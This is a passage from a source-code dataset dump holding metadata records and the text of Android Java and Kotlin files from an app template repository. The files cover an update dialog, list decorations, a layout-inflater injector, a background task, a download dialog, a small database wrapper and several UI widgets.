setStyle(STYLE_NO_FRAME, R.style.update_dialog_style)\n }\n\n override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View? = inflater.inflate(R.layout.update_dialog_fragment, container)\n\n override fun onViewCreated(view: View, savedInstanceState: Bundle?) {\n super.onViewCreated(view, savedInstanceState)\n val window = dialog?.window\n window?.apply {\n setLayout(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT)\n setBackgroundDrawable(ColorDrawable(Color.TRANSPARENT))\n }\n\n tv_content.text = appVersion?.desc\n tv_version.text = \"V\" + appVersion?.versionName\n\n tv_cancel.onClick {\n dismiss()\n if (appVersion?.forceUpdate == 1) {\n Process.killProcess(Process.myPid())\n }\n }\n if (appVersion?.forceUpdate == 1) {\n tv_cancel.visibility = View.GONE\n }\n tv_ensure.onClick {\n if (appVersion?.forceUpdate == 1) {\n val updateFile = AppDownloadClient.getUpdateFile()\n if (null != updateFile && fileSize != -1L && fileSize == updateFile.length()) { //ๅทฒไธ‹่ฝฝ\n AppDownloadClient.installAPK()\n return@onClick\n }\n val dialogView = UpdateDialogView(context, appVersion)\n EffectDialogBuilder(context)\n .setContentView(dialogView)\n .setCancelable(false)\n .setCancelableOnTouchOutside(false)\n .show()\n } else {\n dismiss()\n UpdateService.update(context, appVersion)\n }\n }\n\n }\n\n\n}" }, { "alpha_fraction": 0.6930860280990601, "alphanum_fraction": 0.6981450319290161, "avg_line_length": 27.261905670166016, "blob_id": "457b16944ede500b3c4873b05de3f7573acf161a", "content_id": "857bcfcce527e8005e4a70cce2da39aaed226fce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1278, "license_type": "no_license", "max_line_length": 104, "num_lines": 42, "path": "/librarys/CommonWidget/src/main/java/common/widget/listview/GridSpaceItemDecoration.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package common.widget.listview;\n\nimport android.graphics.Rect;\nimport android.view.View;\n\nimport androidx.recyclerview.widget.RecyclerView;\n\npublic class GridSpaceItemDecoration extends RecyclerView.ItemDecoration {\n private int headerCount;\n private int horizontalSpace;\n private int verticalSpace;\n private int spanCount = 2;\n\n\n public GridSpaceItemDecoration(int space) {\n this(space, space);\n }\n\n public GridSpaceItemDecoration(int horizontalSpace, int verticalSpace) {\n this.horizontalSpace = horizontalSpace;\n this.verticalSpace = verticalSpace;\n }\n\n public void setHeaderCount(int headerCount) {\n this.headerCount = headerCount;\n }\n\n public void setSpanCount(int spanCount) {\n this.spanCount = spanCount;\n }\n\n @Override\n public void getItemOffsets(Rect outRect, View view, RecyclerView parent, RecyclerView.State state) {\n //ไธๆ˜ฏ็ฌฌไธ€ไธช็š„ๆ ผๅญ้ƒฝ่ฎพไธ€ไธชๅทฆ่พนๅ’Œๅบ•้ƒจ็š„้—ด่ท\n outRect.left = horizontalSpace;\n outRect.bottom = verticalSpace;\n //็”ฑไบŽๆฏ่กŒ้ƒฝๅชๆœ‰2ไธช๏ผŒๆ‰€ไปฅ็ฌฌไธ€ไธช้ƒฝๆ˜ฏ2็š„ๅ€ๆ•ฐ๏ผŒๆŠŠๅทฆ่พน่ท่ฎพไธบ0\n if ((parent.getChildLayoutPosition(view)-headerCount) % spanCount == 0) {\n outRect.left = 0;\n }\n }\n}" }, { "alpha_fraction": 0.5393980145454407, "alphanum_fraction": 0.5448089241981506, "avg_line_length": 36.910255432128906, "blob_id": "cb6826f3f92665f594ec1164978fe47611050d18", "content_id": "d21faab5a52c3d4e0f668adfcfbdbf205c3e1910", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2989, "license_type": "no_license", "max_line_length": 119, "num_lines": 78, "path": "/librarys/CommonWidget/src/main/java/common/widget/shape/ShapeInflaterInject.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package common.widget.shape;\n\nimport android.content.Context;\nimport android.util.AttributeSet;\nimport android.view.LayoutInflater;\nimport android.view.View;\n\nimport androidx.annotation.Nullable;\nimport androidx.appcompat.app.AppCompatActivity;\nimport androidx.appcompat.app.AppCompatDelegate;\n\nimport java.lang.reflect.Field;\n\n/**\n * ๆณจๅ…ฅ่‡ชๅฎšไน‰LayoutInflater.Factory2\n * ไฟ่ฏ่‡ชๅฎšไน‰ๅฑžๆ€งๅพ—ๅˆฐ่งฃๆž\n *\n * @author zhangquan\n */\npublic class ShapeInflaterInject {\n\n public static void inject(Context ctx) {\n LayoutInflater inflater = LayoutInflater.from(ctx);\n LayoutInflater.Factory factory = inflater.getFactory();\n LayoutInflater.Factory2 factory2 = inflater.getFactory2();\n if (null == factory2) {\n ShapeInflaterFactory shapeInflater = new ShapeInflaterFactory();\n if (ctx instanceof AppCompatActivity) {\n final AppCompatDelegate delegate = ((AppCompatActivity) ctx).getDelegate();\n shapeInflater.setImplFactory2(new LayoutInflater.Factory2() {\n @Nullable\n @Override\n public View onCreateView(@Nullable View parent, String name, Context context, AttributeSet attrs) {\n return delegate.createView(parent, name, context, attrs);\n }\n\n @Nullable\n @Override\n public View onCreateView(String name, Context context, AttributeSet attrs) {\n return onCreateView(null, name, context, attrs);\n }\n });\n }\n\n inflater.setFactory2(shapeInflater);\n return;\n }\n\n if (!(factory2 instanceof ShapeInflaterFactory)) {\n try {\n Class<? extends LayoutInflater> inflaterClass = inflater.getClass();\n ShapeInflaterFactory shapeFactory = new ShapeInflaterFactory();\n\n Class<?> cls = inflaterClass;\n while (cls != null && cls != Object.class) {\n try {\n Field mFactory = cls.getDeclaredField(\"mFactory\");\n mFactory.setAccessible(true);\n Field mFactory2 = cls.getDeclaredField(\"mFactory2\");\n mFactory2.setAccessible(true);\n if (factory2 != null) {\n shapeFactory.setImplFactory2(factory2);\n } else if (factory != null) {\n shapeFactory.setImplFactory(factory);\n }\n mFactory2.set(inflater, shapeFactory);\n mFactory.set(inflater, shapeFactory);\n break;\n } catch (Exception e) {\n cls = cls.getSuperclass();\n }\n }\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.660646378993988, "alphanum_fraction": 0.6625475287437439, "avg_line_length": 30.909090042114258, "blob_id": "c3b388ba4fceacb6d4f538f9ec293cc64acadedc", "content_id": "823fb0ea60dbb56a476a2da30daaa49c7dbe4017", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 1052, "license_type": "no_license", "max_line_length": 90, "num_lines": 33, "path": "/app/src/main/java/com/fastapp/MyTask.kt", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.fastapp\n\nimport android.content.Context\nimport androidx.work.WorkerParameters\nimport com.android.base.task.BackgroundTask\nimport java.io.InputStreamReader\nimport java.net.URL\n\n/**\n *\n * @author zhangquan\n */\nclass MyTask(context: Context, param: WorkerParameters) : BackgroundTask(context, param) {\n override fun doTask(parameters: WorkerParameters) {\n val inputData = parameters.inputData\n val value = inputData?.getString(\"key\")\n val value2 = inputData?.getBoolean(\"key2\", false)\n println(\"doTask thread=${Thread.currentThread().name},data=$inputData\")\n\n var url = URL(\"http://www.baidu.com\");\n var urlConnection = url.openConnection();\n try {\n val inputStream = urlConnection.getInputStream()\n val inputStreamReader = InputStreamReader(inputStream)\n val readLines = inputStreamReader.readLines()\n// println(\"data=$readLines\")\n inputStream.close()\n\n } catch (e: Exception) {\n e.printStackTrace()\n }\n }\n}" }, { "alpha_fraction": 0.6235138773918152, "alphanum_fraction": 0.6235138773918152, "avg_line_length": 25.10344886779785, "blob_id": "f5f527cb4195bc7cb0de5a032282804235273a31", "content_id": "85afeeb02d117b0acb7ddb74c9f80a041b3dfe6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 757, "license_type": "no_license", "max_line_length": 83, "num_lines": 29, "path": "/app/src/main/java/com/fastapp/ActivityTwo.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.fastapp;\n\nimport android.app.Activity;\nimport android.content.Intent;\nimport android.os.Bundle;\nimport android.view.View;\n\nimport com.android.base.ui.BaseActivity;\n\npublic class ActivityTwo extends BaseActivity {\n @Override\n public int getLayoutId() {\n return R.layout.activity_main;\n }\n\n @Override\n public void init(Bundle savedInstanceState) {\n findViewById(R.id.testFrag).setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n Intent intent = new Intent();\n intent.putExtra(\"param\", \"data from ActivityTwo\");\n setResult(Activity.RESULT_OK, intent);\n finish();\n }\n });\n }\n\n}\n" }, { "alpha_fraction": 0.5845588445663452, "alphanum_fraction": 0.5868983864784241, "avg_line_length": 26.200000762939453, "blob_id": "5c2ec666f83eaff973b4660578910415fdbb7498", "content_id": "e19ba116aa1870ef3bacd99c6526ac2fd15e5830", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 3060, "license_type": "no_license", "max_line_length": 92, "num_lines": 110, "path": "/app/src/main/java/com/android/base/util/filedownloader/FileDownloadDialogView.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.util.filedownloader;\n\nimport android.content.Context;\nimport android.text.TextUtils;\nimport android.view.View;\nimport android.view.View.OnClickListener;\nimport android.widget.ProgressBar;\nimport android.widget.TextView;\n\nimport com.fastapp.R;\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport common.widget.dialog.DialogView;\n\n/**\n * ๆ–‡ไปถไธ‹่ฝฝๅผนๆก†\n *\n * @author ๅผ ๅ…จ\n */\npublic class FileDownloadDialogView extends DialogView {\n private String title;\n private List<String> downloadSources;\n private List<File> files = new ArrayList<>();\n private FileDownloader fileDownloader;\n private TextView item_label2;\n private TextView btn;\n private ProgressBar progressBar;\n private int total;\n private int progress;\n\n\n public FileDownloadDialogView(Context ctx, List<String> downloadSources, String title) {\n super(ctx);\n this.fileDownloader = new FileDownloader(ctx);\n this.downloadSources = downloadSources;\n this.title = title;\n this.total = downloadSources.size();\n }\n\n @Override\n protected int getLayoutId() {\n return R.layout.file_download_dialog;\n }\n\n @Override\n public void initView(View view) {\n\n item_label2 = findViewById(R.id.item_label2);\n progressBar = findViewById(R.id.progressBar);\n\n btn = findViewById(R.id.btn);\n btn.setOnClickListener(new OnClickListener() {\n @Override\n public void onClick(View v) {\n if (TextUtils.equals(btn.getText().toString(), \"ไธ‹่ฝฝๅคฑ่ดฅ\")) { //้‡ๆ–ฐไธ‹่ฝฝ\n startDownload();\n } else {\n fileDownloader.stop();\n dismiss();\n }\n }\n });\n\n if (!TextUtils.isEmpty(title) && !\"sharegoods\".equals(title)) {\n TextView textView = findViewById(R.id.item_label1);\n textView.setText(title);\n }\n\n startDownload();\n }\n\n private void startDownload() {\n progress = 0;\n files.clear();\n btn.setText(\"ๅ–ๆถˆไธ‹่ฝฝ\");\n\n progressBar.setMax(total);\n progressBar.setProgress(progress);\n item_label2.setText(\"ๅทฒไธ‹่ฝฝ \" + progress + \"/\" + total);\n\n fileDownloader.downloadFile(downloadSources, new FileDownloader.DownloadCallback() {\n @Override\n public void success(File file, String url) {\n files.add(file);\n updateUI(file, url);\n }\n\n @Override\n public void fail(String url) {\n updateUI(null, url);\n }\n });\n }\n\n private void updateUI(File file, String url) {\n progress++;\n progressBar.setProgress(progress);\n item_label2.setText(\"ๅทฒไธ‹่ฝฝ \" + progress + \"/\" + total);\n if (progress == total) {\n if (files.isEmpty()) {\n btn.setText(\"ไธ‹่ฝฝๅคฑ่ดฅ\");\n } else {\n btn.setText(\"ไธ‹่ฝฝๅฎŒๆˆ\");\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.543448805809021, "alphanum_fraction": 0.5438358783721924, "avg_line_length": 28.357954025268555, "blob_id": "7264d7bacd9421cfe740803f5a65d2573928868f", "content_id": "f247d77af6715a68f191c6a477eb3d178e05b197", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 5181, "license_type": "no_license", "max_line_length": 90, "num_lines": 176, "path": "/librarys/CommonUtil/src/main/java/com/android/util/db/DBSession.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.util.db;\n\nimport android.text.TextUtils;\n\nimport com.google.gson.Gson;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport io.reactivex.Observable;\nimport io.reactivex.ObservableEmitter;\nimport io.reactivex.ObservableOnSubscribe;\n\n/**\n * @author ๅผ ๅ…จ\n */\npublic class DBSession<T> {\n private Class<T> cls;\n private Field uidField;\n private Field keyField;\n private String modleName;\n private String uid;\n private static Map<String, List<ObservableEmitter>> observerableMap = new HashMap<>();\n private static final String DEF_UID = \"-1\";\n\n\n public DBSession(Class<T> cls) {\n this(cls, null);\n }\n\n public DBSession(Class<T> cls, String uid) {\n this.cls = cls;\n this.uid = uid;\n modleName = cls.getSimpleName();\n\n Field[] fields = cls.getDeclaredFields();\n for (Field field : fields) {\n if (field.isAnnotationPresent(Uid.class)) {\n uidField = field;\n uidField.setAccessible(true);\n }\n if (field.isAnnotationPresent(Key.class)) {\n keyField = field;\n keyField.setAccessible(true);\n }\n }\n }\n\n public List<T> query() {\n List<String> values = ModelDao.getUserModels(getUid(), modleName);\n List<T> list = new ArrayList<>();\n for (String value : values) {\n list.add(new Gson().fromJson(value, cls));\n }\n return list;\n }\n\n public Observable<List<T>> queryWithObserverable() {\n return Observable.create(new ObservableOnSubscribe<List<T>>() {\n @Override\n public void subscribe(ObservableEmitter<List<T>> emitter) throws Exception {\n List<ObservableEmitter> weakReferences = observerableMap.get(modleName);\n if (null == weakReferences) {\n weakReferences = new ArrayList<>();\n observerableMap.put(modleName, weakReferences);\n }\n weakReferences.add(emitter);\n\n //ๅ…ˆๅ‘ๅฐ„ไธ€ๆฌก\n push();\n }\n });\n }\n\n public void delete() {\n ModelDao.deleteUserModels(getUid(), modleName);\n push();\n }\n\n public void delete(T value) {\n if (null == value) return;\n List<T> values = new ArrayList<>();\n values.add(value);\n delete(values);\n }\n\n public void delete(List<T> values) {\n if (null == values | values.isEmpty()) return;\n String uid = getUid(values.get(0));\n List<String> keys = new ArrayList<>();\n for (T value : values) {\n String key = getKey(value);\n keys.add(key);\n }\n ModelDao.delete(uid, modleName, keys);\n push();\n }\n\n public void insert(T value) {\n if (null == value) return;\n List<T> values = new ArrayList<>();\n values.add(value);\n insert(values);\n }\n\n public void insert(List<T> values) {\n if (null == values | values.isEmpty()) return;\n List<DBModel> models = new ArrayList<>();\n for (T value : values) {\n DBModel dbModel = new DBModel();\n dbModel.uid = getUid(value);\n dbModel.name = modleName;\n dbModel.key = getKey(value);\n dbModel.value = new Gson().toJson(value);\n models.add(dbModel);\n }\n ModelDao.save(models);\n push();\n }\n\n private String getUid() {\n String userId = uid;\n if (TextUtils.isEmpty(userId)) {\n userId = DEF_UID;\n }\n return userId;\n }\n\n private String getUid(T value) {\n String userId = uid;\n if (TextUtils.isEmpty(userId) && null != uidField && null != value) {\n try {\n Object id = uidField.get(value);\n if (null != id) userId = id.toString();\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n if (TextUtils.isEmpty(userId)) {\n userId = DEF_UID;\n }\n return userId;\n }\n\n private void push() {\n if (observerableMap.containsKey(modleName)) {\n List<ObservableEmitter> emitterWeakReference = observerableMap.get(modleName);\n if (null == emitterWeakReference) return;\n Iterator<ObservableEmitter> iterator = emitterWeakReference.iterator();\n while (iterator.hasNext()) {\n ObservableEmitter emitter = iterator.next();\n if (null != emitter && !emitter.isDisposed()) {\n emitter.onNext(query());\n } else {\n iterator.remove();\n }\n }\n }\n }\n\n private String getKey(T value) {\n String key = null;\n if (null == value || null == keyField) return null;\n try {\n Object keyValue = keyField.get(value);\n if (null != keyValue) key = keyValue.toString();\n } catch (Exception e) {\n e.printStackTrace();\n }\n return key;\n }\n}\n" }, { "alpha_fraction": 0.672245442867279, "alphanum_fraction": 0.672245442867279, "avg_line_length": 21.4375, "blob_id": "e931543f04b9f226b1177d9944207807aa50119a", "content_id": "20f9cd486b64e8c99b20cc8ec29dc6e58594af70", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 717, "license_type": "no_license", "max_line_length": 79, "num_lines": 32, "path": "/app/src/main/java/com/android/base/ui/splash/SplashUtil.kt", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package net.medlinker.android.splash\n\nimport com.android.base.util.KVUtil\n\n/**\n *\n * @author zhangquan\n */\nobject SplashUtil {\n private const val KEY_PRIVACY_PROTOCOL_STATE = \"KEY_PRIVACY_PROTOCOL_STATE\"\n private const val KEY_SHOW_GUIDE = \"KEY_SHOW_GUIDE\"\n\n @JvmStatic\n fun isPrivacyGranted(): Boolean {\n return KVUtil.getBoolean(KEY_PRIVACY_PROTOCOL_STATE)\n }\n\n @JvmStatic\n fun setPrivacyGranted(granted: Boolean) {\n KVUtil.set(KEY_PRIVACY_PROTOCOL_STATE, granted)\n }\n\n @JvmStatic\n fun hasShowGuide(): Boolean {\n return KVUtil.getBoolean(KEY_SHOW_GUIDE)\n }\n\n @JvmStatic\n fun setShowGuide(shown: Boolean) {\n KVUtil.set(KEY_SHOW_GUIDE, shown)\n }\n}" }, { "alpha_fraction": 0.7338129281997681, "alphanum_fraction": 0.7338129281997681, "avg_line_length": 14.44444465637207, "blob_id": "f3eebc0a4330401a248a3007b87bdce65ad90d98", "content_id": "a2c1a93200c46d45e107dd85d49f50427e29d172", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 163, "license_type": "no_license", "max_line_length": 59, "num_lines": 9, "path": "/app/src/main/java/com/android/base/ui/SimpleOrientionFragAct.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.ui;\n\n/**\n * ๅฏไปฅๆ—‹่ฝฌๅฑๅน•ๆ–นๅ‘Activityๅฎนๅ™จ\n *\n * @author ๅผ ๅ…จ\n */\npublic class SimpleOrientionFragAct extends SimpleFragAct {\n}\n" }, { "alpha_fraction": 0.665730357170105, "alphanum_fraction": 0.6811797618865967, "avg_line_length": 32.92856979370117, "blob_id": "cf8fda25e48e179e65ffb5a1b8fb0890b264c2af", "content_id": "4cb08c417a938cba1f67d15ab5e335de0cebd4dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 1454, "license_type": "no_license", "max_line_length": 106, "num_lines": 42, "path": "/app/src/main/java/com/android/base/util/CornerTransform.kt", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.util\n\nimport android.graphics.*\nimport com.bumptech.glide.load.engine.bitmap_recycle.BitmapPool\nimport com.bumptech.glide.load.resource.bitmap.BitmapTransformation\nimport java.lang.Math.min\nimport java.security.MessageDigest\n\n\n/**\n * desc:\n * time: 2019/11/21\n * @author ้“ถ่ฟ›\n */\nclass CornerTransform constructor(private val radius: Float) : BitmapTransformation() {\n override fun transform(pool: BitmapPool, toTransform: Bitmap, outWidth: Int, outHeight: Int): Bitmap {\n //ๅพ—ๅˆฐๅ›พ็‰‡ๆœ€ๅฐ่พน\n val size = min(toTransform.width, toTransform.height)\n //่ฎก็ฎ—ๅ›พ็‰‡่ตท็‚น\n val x = (toTransform.width - size) / 2\n val y = (toTransform.height - size) / 2\n\n val circleBitmap = Bitmap.createBitmap(x,\n y, Bitmap.Config.ARGB_8888)\n val circle = pool.get(size, size, Bitmap.Config.ARGB_8888)\n val canvas = Canvas(circle)\n val paint = Paint()\n paint.isAntiAlias = true\n val rectF = RectF(0f, 0f, circleBitmap.width * 1f, circleBitmap.height * 1f)\n paint.shader = BitmapShader(circleBitmap, Shader.TileMode.CLAMP, Shader.TileMode.CLAMP)\n canvas.drawRoundRect(rectF, radius, radius, paint)\n return circle\n }\n\n override fun updateDiskCacheKey(messageDigest: MessageDigest) {\n messageDigest.update(TAG.toByte())\n }\n companion object{\n private val TAG = CornerTransform::class.java.name\n }\n\n}" }, { "alpha_fraction": 0.5806451439857483, "alphanum_fraction": 0.5831681489944458, "avg_line_length": 25.174528121948242, "blob_id": "945b09c43d3f969be18925df554235a32c0d00d3", "content_id": "f8d6fa532f59326a6ff5a75b5250acb7fda5a872", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 5777, "license_type": "no_license", "max_line_length": 112, "num_lines": 212, "path": "/librarys/CommonWidget/src/main/java/common/widget/LoadingBar.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package common.widget;\n\nimport android.content.Context;\nimport android.text.TextUtils;\nimport android.util.AttributeSet;\nimport android.view.View;\nimport android.view.animation.Animation;\nimport android.view.animation.LinearInterpolator;\nimport android.view.animation.RotateAnimation;\nimport android.widget.ImageView;\nimport android.widget.ProgressBar;\nimport android.widget.RelativeLayout;\nimport android.widget.TextView;\n\n/**\n * ๅŠ ่ฝฝ่ฟ›ๅบฆๆก\n *\n * @author ๅผ ๅ…จ\n */\npublic class LoadingBar extends RelativeLayout {\n private ImageView iv_loading;\n private ProgressBar mProgressBar;\n private TextView tv_loading;\n private LoadingStatus status;\n\n public LoadingBar(Context context, AttributeSet attrs, int defStyle) {\n super(context, attrs, defStyle);\n init();\n }\n\n public LoadingBar(Context context, AttributeSet attrs) {\n super(context, attrs);\n init();\n }\n\n public LoadingBar(Context context) {\n super(context);\n init();\n }\n\n private void init() {\n View.inflate(getContext(), R.layout.common_loadingbar, this);\n iv_loading = (ImageView) findViewById(R.id.loading_img);\n tv_loading = (TextView) findViewById(R.id.loading_text);\n mProgressBar = (ProgressBar) findViewById(R.id.loading_progressbar);\n }\n\n Animation getAnim() {\n RotateAnimation anim = new RotateAnimation(0, 360,\n Animation.RELATIVE_TO_SELF, 0.5f, Animation.RELATIVE_TO_SELF,\n 0.5f);\n anim.setDuration(500);\n anim.setInterpolator(new LinearInterpolator());\n anim.setRepeatCount(Animation.INFINITE);\n anim.setRepeatMode(Animation.RESTART);\n return anim;\n }\n\n /**\n * ่ฎพ็ฝฎๅŠ ่ฝฝ็Šถๆ€\n *\n * @param status ๅŠ ่ฝฝ็Šถๆ€\n */\n public void setLoadingStatus(LoadingStatus status) {\n setLoadingStatus(status, -1, null);\n }\n\n /**\n * ่ฎพ็ฝฎๅŠ ่ฝฝ็Šถๆ€\n *\n * @param status ๅŠ ่ฝฝ็Šถๆ€\n * @param imgRes ๆ˜พ็คบ็š„ๅ›พ็‰‡\n */\n public void setLoadingStatus(LoadingStatus status, int imgRes) {\n setLoadingStatus(status, imgRes, null);\n }\n\n /**\n * ่ฎพ็ฝฎๅŠ ่ฝฝ็Šถๆ€\n *\n * @param status ๅŠ ่ฝฝ็Šถๆ€\n * @param text ๆ˜พ็คบ็š„ๆ–‡ๅญ—\n */\n public void setLoadingStatus(LoadingStatus status, String text) {\n setLoadingStatus(status, -1, text);\n }\n\n /**\n * ่ฎพ็ฝฎๅŠ ่ฝฝ็Šถๆ€\n *\n * @param status ๅŠ ่ฝฝ็Šถๆ€\n * @param imgRes ๆ˜พ็คบ็š„ๅ›พ็‰‡\n * @param text ๆ˜พ็คบ็š„ๆ–‡ๅญ—\n */\n public void setLoadingStatus(LoadingStatus status, int imgRes, String text) {\n\n if (null != this.status && this.status == status) {\n return;\n }\n\n if (status == LoadingStatus.SUCCESS) {\n loadSuccess();\n return;\n }\n\n this.status = status;\n setVisibility(View.VISIBLE);\n tv_loading.setVisibility(View.GONE);\n mProgressBar.setVisibility(View.GONE);\n//\t\tiv_loading.setVisibility(View.GONE);\n//\t\tiv_loading.clearAnimation();\n\n // ่ฎพ็ฝฎๆ–‡ๅญ—\n String loadingText = null == text ? getContext().getString(status.text) : text;\n tv_loading.setText(loadingText);\n if (!TextUtils.isEmpty(loadingText)) {\n tv_loading.setVisibility(View.VISIBLE);\n }\n\n // ่ฎพ็ฝฎๅ›พ็‰‡\n if (imgRes > 0) {\n iv_loading.setImageResource(imgRes);\n iv_loading.setVisibility(View.VISIBLE);\n } else {\n//\t\t\tiv_loading.setImageBitmap(null);\n }\n\n switch (status) {\n case START:// ๅŠ ่ฝฝไธญ...\n mProgressBar.setVisibility(View.VISIBLE);\n iv_loading.setVisibility(View.GONE);\n break;\n case RELOAD:// ้‡ๆ–ฐๅŠ ่ฝฝ\n iv_loading.setVisibility(View.VISIBLE);\n break;\n case NOCONNECTION:// ๆ— ็ฝ‘็ปœ่ฟžๆŽฅ\n iv_loading.setVisibility(View.VISIBLE);\n break;\n case SUCCESS:// ๅŠ ่ฝฝๆˆๅŠŸ\n setVisibility(View.GONE);\n break;\n case EMPTY: // ๆ— ๆ•ฐๆฎ\n iv_loading.setVisibility(View.VISIBLE);\n break;\n }\n }\n\n public LoadingStatus getLoadingStatus() {\n return this.status;\n }\n\n /**\n * ๆ˜ฏๅฆๆญฃๅœจๅŠ ่ฝฝ\n *\n * @return\n */\n public boolean isLoading() {\n return getVisibility() == View.VISIBLE && null != status\n && (status == LoadingStatus.START);\n }\n\n /**\n * ๅŠ ่ฝฝๆˆๅŠŸ\n */\n public void loadSuccess() {\n this.status = LoadingStatus.SUCCESS;\n setVisibility(View.GONE);\n }\n\n /**\n * ๆ˜ฏๅฆ่ƒฝๅคŸๅŠ ่ฝฝ\n *\n * @return\n */\n public boolean canLoading() {\n if (null == status) return false;\n if (status == LoadingStatus.START || status == LoadingStatus.EMPTY || status == LoadingStatus.SUCCESS) {\n return false;\n }\n return true;\n }\n\n /**\n * ๅŠ ่ฝฝ็Šถๆ€\n *\n * @author zhangquan\n */\n public enum LoadingStatus {\n START(R.string.loadingbar_start), SUCCESS(R.string.loadingbar_success), NOCONNECTION(\n R.string.loadingbar_noconnection), RELOAD(\n R.string.loadingbar_reload), EMPTY(R.string.loadingbar_empty);\n\n public int text;\n\n private LoadingStatus(int text) {\n this.text = text;\n }\n }\n\n // --------------------------------\n public void setTextView(TextView textView) {\n this.tv_loading = textView;\n }\n\n public void setImageView(ImageView imageView) {\n this.iv_loading = imageView;\n }\n\n public void setProgressBar(ProgressBar progressBar) {\n this.mProgressBar = progressBar;\n }\n}\n" }, { "alpha_fraction": 0.5897009968757629, "alphanum_fraction": 0.5897009968757629, "avg_line_length": 24.08333396911621, "blob_id": "326619ebb66677162ab6092db4b293c0f9957e3c", "content_id": "1ef64e6d4f9ec4059f0ab91d02c1466f64189562", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1912, "license_type": "no_license", "max_line_length": 90, "num_lines": 72, "path": "/app/src/main/java/com/android/base/data/BaseResponseObserver.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.data;\n\n\nimport java.net.ConnectException;\nimport java.net.SocketTimeoutException;\nimport java.net.UnknownHostException;\n\nimport io.reactivex.observers.DisposableObserver;\n\n\npublic abstract class BaseResponseObserver<T> extends DisposableObserver<T> {\n\n private static final String TAG = \"BaseResponseObserver\";\n\n @Override\n public final void onError(Throwable e) {\n if (e != null) {\n e.printStackTrace();\n }\n HttpResponseException errorCause;\n if (e instanceof UnknownHostException) {\n errorCause = new HttpResponseException(\"ๆ— ็ฝ‘็ปœ่ฟžๆŽฅ, ่ฏท้‡่ฏ•\", e);\n } else if (e instanceof SocketTimeoutException || e instanceof ConnectException) {\n errorCause = new HttpResponseException(\"็ฝ‘็ปœ่ฟžๆŽฅ่ถ…ๆ—ถ, ่ฏท้‡่ฏ•\", e);\n } else if (e instanceof HttpResponseException) { //ๆœๅŠกๅ™จ้”™่ฏฏ\n errorCause = (HttpResponseException) e;\n } else {\n errorCause = new HttpResponseException(\"็ฝ‘็ปœๅผ‚ๅธธ\", e);\n }\n onError(errorCause);\n onEnd();\n }\n\n @Override\n public void onNext(T value) {\n if (value instanceof ResponseData) {\n ResponseData data = (ResponseData) value;\n if (!data.isSuccessful()) {\n onError(new HttpResponseException(data));\n } else {\n onSuccess(value);\n }\n } else {\n onSuccess(value);\n }\n }\n\n @Override\n public void onComplete() {\n onEnd();\n }\n\n /**\n * ่ฏทๆฑ‚ๆˆๅŠŸ\n *\n * @param value\n */\n public abstract void onSuccess(T value);\n\n /**\n * ่ฏทๆฑ‚ๅคฑ่ดฅ\n *\n * @param e\n */\n public abstract void onError(HttpResponseException e);\n\n /**\n * ่ฏทๆฑ‚็ป“ๆŸ\n * <p>ไธ็ฎก่ฏทๆฑ‚ๆˆๅŠŸ่ฟ˜ๆ˜ฏๅคฑ่ดฅ๏ผŒ้ƒฝไผšๅ›ž่ฐƒonEnd</p>\n */\n public abstract void onEnd();\n}\n" }, { "alpha_fraction": 0.5630878806114197, "alphanum_fraction": 0.566980242729187, "avg_line_length": 30.783504486083984, "blob_id": "0f8c96cdba9702cf9c6346d781021d728fa626d7", "content_id": "dca512cf7fa8eb773640e79992bf2575fe774082", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 3181, "license_type": "no_license", "max_line_length": 120, "num_lines": 97, "path": "/app/src/main/java/com/android/base/util/CommonUtil.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.util;\n\nimport android.content.ClipData;\nimport android.content.ClipboardManager;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.media.MediaScannerConnection;\nimport android.net.Uri;\nimport android.provider.MediaStore;\nimport android.text.TextUtils;\n\nimport com.android.util.LContext;\nimport com.android.util.log.LogUtil;\n\nimport java.io.File;\n\n/**\n * @author ๅผ ๅ…จ\n */\npublic class CommonUtil {\n\n /**\n * ไฟๅญ˜ๆ–‡ไปถๅˆฐ็›ธๅ†Œ\n *\n * @param 